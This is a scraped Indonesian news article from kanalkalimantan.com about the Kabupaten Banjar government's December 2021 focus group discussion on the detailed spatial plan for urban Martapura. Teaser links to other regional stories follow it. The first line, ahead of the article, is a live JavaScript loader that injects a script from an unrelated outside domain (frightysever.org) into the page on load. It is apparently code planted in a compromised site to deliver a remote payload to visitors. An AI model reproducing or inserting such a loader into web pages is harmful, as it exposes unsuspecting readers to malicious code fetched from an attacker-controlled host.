(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Kabupaten Banjar telah menyusun beberapa Rencana Detail Tata Ruang (RDTR), salah satunya adalah RDTR Kawasan Perkotaan Martapura yang teknis pelaksanaannya dibantu oleh Kementerian Agraria dan Tata Ruang/Badan Pertanahan Nasional (ATR/BPN).
Hal tersebut disampaikan Bupati Banjar H Saidi Mansyur diwakili Asisten Perekonomian dan Pembangunan Ikhwansyah saat membuka secara resmi Focus Group Discussion (FGD) ke-5 Forum Tim Koordinasi Penataan Ruang Daerah (TKPRD) dan Ekspose Bupati Tentang Renperbup Rencana Detail Tata Ruang (RDTR) Kawasan Perkotaan Martapura di Kabupaten Banjar di Novotel Banjarbaru, Selasa (7/12/2021) pagi.
“Alhamdulillah, 7 Juli 2021 Pemerintah Kabupaten Banjar telah menetapkan Peraturan Daerah Nomor 4 Tahun 2021 tentang Rencana Tata Ruang Wilayah Kabupaten Banjar Tahun 2021-2024,” ucap dia.
Dia mengatakan, RDTR Perkotaan Martapura akan menjadi Instrumen dasar dalam Kesesuaian Kegiatan Pemanfaatan Ruang (KKPR) untuk kegiatan berusaha dan membantu mempercepat perizinan bagi investasi melalui sistem Online Single Submission (OSS).
Kepala Dinas PUPR Kabupaten Banjar, Ahmad Solhan. Foto : DKISP Kabupaten Banjar
Baca juga : Iberamsyah Luncurkan Buku “Bangku Panjang” sebuah Novel-Esai
“Penyusunan RDTR Kawasan Perkotaan Martapura menjadi sangat penting mengingat didalam Peraturan Pemerintah Nomor 13 Tahun 2017 tentang RTRW Nasional, terdapat 8 wilayah administrasi kecamatan di Kabupaten Banjar yang termasuk kedalam Kawasan Strategis Nasional (KSN) Banjarbakula,” papar dia.
Kepala Dinas PUPR Kabupaten Banjar, Ahmad Solhan menambahkan, setelah kawasan wilayah perkotaan Martapura selanjutnya kawasan Kertakhanyar, Gambut dan Sungaitabuk yang termasuk wilayah Kawasan Strategis Nasional (KSN).
“Perlu adanya masukan-masukan dari beberapa stakeholder terkait Renperbup ini,” tegas dia.
Adapun yang menjadi narasumber di FGD tersebut adalah Ketua Tim Konsultan Kementerian Lingkungan Hidup dan Kehutanan Lina dan Wakil ketua Tim Leader PT Prospera Ibnu Fajar.
Baca juga : Menimba Ilmu Parenting dan Literasi Anak, Ria Enes: Tunjukkan Kita Ada untuk Anak!
FGD tersebut diselenggarakan secara daring maupun luring oleh Dinas Pekerjaan Umum dan Perumahan Rakyat (PUPR) Kabupaten Banjar yang dihadiri Kementerian Agraria dan Tata Ruang/Badan Pertanahan Nasional (ATR/BPN), Kabid Tata Ruang dan Pengawasan Bangunan, Farida Ariyati, Kecamatan Martapura, Karangintan dan stakeholder terkait. (kanalkalimantan.com/rls)
Reporter : Rls
Editor : Dhani
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
This website uses cookies.